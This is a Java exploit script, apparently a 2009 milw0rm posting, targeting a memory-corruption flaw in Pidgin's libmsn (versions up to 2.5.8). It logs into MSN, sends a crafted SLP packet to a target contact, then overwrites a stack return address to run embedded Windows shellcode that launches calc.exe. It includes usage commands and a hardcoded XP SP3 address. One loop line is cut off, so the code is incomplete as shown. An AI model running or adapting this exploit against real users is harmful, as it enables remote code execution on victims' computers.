Description:
* Pidgin is a multi-protocol Instant Messenger.
*
* This is an exploit for the vulnerability[1] discovered in Pidgin by core-security[2].
* The library "libmsn" used by pidgin doesn't handle specially crafted MsnSlp packets
* which could lead to memory corruption.
*
* Affected versions :
* Pidgin <= 2.5.8, Adium and other IM using Pidgin-libpurple/libmsn library.
*
* Plateforms :
* Windows, Linux, Mac
*
* Fix :
* Fixed in Pidgin 2.5.9
*
* References :
*
* Usage :
* javac.exe -cp "%classpath%;.\jml-1.0b3-full.jar" PidginExploit.java
* java -cp "%classpath%;.\jml-1.0b3-full.jar" PdiginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL
*
*/
import net.sf.jml.*;
import net.sf.jml.event.*;
import net.sf.jml.impl.*;
import net.sf.jml.message.p2p.*;
import net.sf.jml.util.*;
public class PidginExploit {
private MsnMessenger messenger;
private String login;
private String password;
private String target;
private int session_id = NumberUtils.getIntRandom();
private byte shellcode[] = new byte[] {
/*
* if you use the stack in your shellcode do not forgot to change esp because eip == esp == kaboom !
* sub esp,500
*/
(byte) 0x81, (byte) 0xEC, (byte) 0x00, (byte) 0x05, (byte) 0x00, (byte) 0x00,
/*
* windows/exec - 121 bytes
* EXITFUNC=process, CMD=calc.exe
*/
(byte) 0xfc, (byte) 0xe8, (byte) 0x44, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8b, (byte) 0x45,
(byte) 0x3c, (byte) 0x8b, (byte) 0x7c, (byte) 0x05, (byte) 0x78, (byte) 0x01, (byte) 0xef, (byte) 0x8b,
(byte) 0x4f, (byte) 0x18, (byte) 0x8b, (byte) 0x5f, (byte) 0x20, (byte) 0x01, (byte) 0xeb, (byte) 0x49,
(byte) 0x8b, (byte) 0x34, (byte) 0x8b, (byte) 0x01, (byte) 0xee, (byte) 0x31, (byte) 0xc0, (byte) 0x99,
(byte) 0xac, (byte) 0x84, (byte) 0xc0, (byte) 0x74, (byte) 0x07, (byte) 0xc1, (byte) 0xca, (byte) 0x0d,
(byte) 0x01, (byte) 0xc2, (byte) 0xeb, (byte) 0xf4, (byte) 0x3b, (byte) 0x54, (byte) 0x24, (byte) 0x04,
(byte) 0x75, (byte) 0xe5, (byte) 0x8b, (byte) 0x5f, (byte) 0x24, (byte) 0x01, (byte) 0xeb, (byte) 0x66,
(byte) 0x8b, (byte) 0x0c, (byte) 0x4b, (byte) 0x8b, (byte) 0x5f, (byte) 0x1c, (byte) 0x01, (byte) 0xeb,
(byte) 0x8b, (byte) 0x1c, (byte) 0x8b, (byte) 0x01, (byte) 0xeb, (byte) 0x89, (byte) 0x5c, (byte) 0x24,
(byte) 0x04, (byte) 0xc3, (byte) 0x5f, (byte) 0x31, (byte) 0xf6, (byte) 0x60, (byte) 0x56, (byte) 0x64,
(byte) 0x8b, (byte) 0x46, (byte) 0x30, (byte) 0x8b, (byte) 0x40, (byte) 0x0c, (byte) 0x8b, (byte) 0x70,
(byte) 0x1c, (byte) 0xad, (byte) 0x8b, (byte) 0x68, (byte) 0x08, (byte) 0x89, (byte) 0xf8, (byte) 0x83,
(byte) 0xc0, (byte) 0x6a, (byte) 0x50, (byte) 0x68, (byte) 0x7e, (byte) 0xd8, (byte) 0xe2, (byte) 0x73,
(byte) 0x68, (byte) 0x98, (byte) 0xfe, (byte) 0x8a, (byte) 0x0e, (byte) 0x57, (byte) 0xff, (byte) 0xe7,
(byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65,
(byte) 0x00
};
// reteip = pointer to the return address in the stack
// The shellcode will be wrote just before reteip
// and reteip will automaticly point to the shellcode. It's magic !
private int reteip = 0x0022CFCC; //stack on XP SP3-FR Pidgin 2.5.8
private int neweip;
private byte[] payload = new byte[shellcode.length + 4];
private int totallength = reteip + 4;
public static void main(String[] args) throws Exception {
if(args.length != 3){
System.out.println("PidginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL");
}else{
PidginExploit exploit = new PidginExploit(args[0],args[1],args[2]);
exploit.start();
}
}
public PidginExploit(String login, String password, String target){
this.login = login;
this.password = password;
this.target = target;
neweip = reteip - shellcode.length ;
for(int i=0;i
payload[i] = shellcode[i];
payload[shellcode.length] = (byte)(neweip & 0x000000FF);
payload[shellcode.length + 1] = (byte)((neweip & 0x0000FF00) >> 8);
payload[shellcode.length + 2] = (byte)((neweip & 0x00FF0000) >> 16);
payload[shellcode.length + 3] = (byte)((neweip & 0xFF000000) >> 24);
}
public void start() {
messenger = MsnMessengerFactory.createMsnMessenger(login,password);
messenger.getOwner().setInitStatus(MsnUserStatus.ONLINE);
messenger.setLogIncoming(false);
messenger.setLogOutgoing(false);
initMessenger(messenger);
messenger.login();
}
protected void initMessenger(MsnMessenger messenger) {
messenger.addContactListListener(new MsnContactListAdapter() {
public void contactListInitCompleted(MsnMessenger messenger) {
final Object id = new Object();
messenger.addSwitchboardListener(new MsnSwitchboardAdapter() {
public void switchboardStarted(MsnSwitchboard switchboard) {
if (id != switchboard.getAttachment())
return;
switchboard.inviteContact(Email.parseStr(target));
}
public void contactJoinSwitchboard(MsnSwitchboard switchboard, MsnContact contact) {
if (id != switchboard.getAttachment())
return;
MsnP2PSlpMessage msg = new MsnP2PSlpMessage();
msg.setIdentifier(NumberUtils.getIntRandom());
msg.setSessionId(session_id);
msg.setOffset(0);
msg.setTotalLength(totallength);
msg.setCurrentLength(totallength);
// This flag create a bogus MsnSlpPacket in pidgin memory with a buffer pointing to null
// We'll use this buffer to rewrite memory in the stack
msg.setFlag(0x1000020);
msg.setP2PDest(target);
switchboard.sendMessage(msg);
System.out.println("First packet sent, waiting for the ACK");
}
public void switchboardClosed(MsnSwitchboard switchboard) {
System.out.println("switchboardClosed");
switchboard.getMessenger().removeSwitchboardListener(this);
}
public void contactLeaveSwitchboard(MsnSwitchboard switchboard, MsnContact contact){
System.out.println("contactLeaveSwitchboard");
}
});
messenger.newSwitchboard(id);
}
});
messenger.addMessageListener(new MsnMessageAdapter(){
public void p2pMessageReceived(MsnSwitchboard switchboard,MsnP2PMessage message,MsnContact contact) {
//We receive the ACK of our first packet with the ID of the new bogus packet
message.getIdentifier();
MsnP2PDataMessage msg = new MsnP2PDataMessage(session_id, message.getIdentifier(), neweip,
payload.length, payload, target);
switchboard.sendMessage(msg);
System.out.println("ACK received && Payload sent !");
System.out.println("Exploit OK ! CTRL+C to quit");
}
});
messenger.addMessengerListener(new MsnMessengerAdapter() {
public void loginCompleted(MsnMessenger messenger) {
System.out.println(messenger.getOwner().getEmail() + " login");
}
public void logout(MsnMessenger messenger) {
System.out.println(messenger.getOwner().getEmail() + " logout");
}
public void exceptionCaught(MsnMessenger messenger,
Throwable throwable) {
System.out.println("caught exception: " + throwable);
}
});
}
}
// milw0rm.com [2009-09-09]
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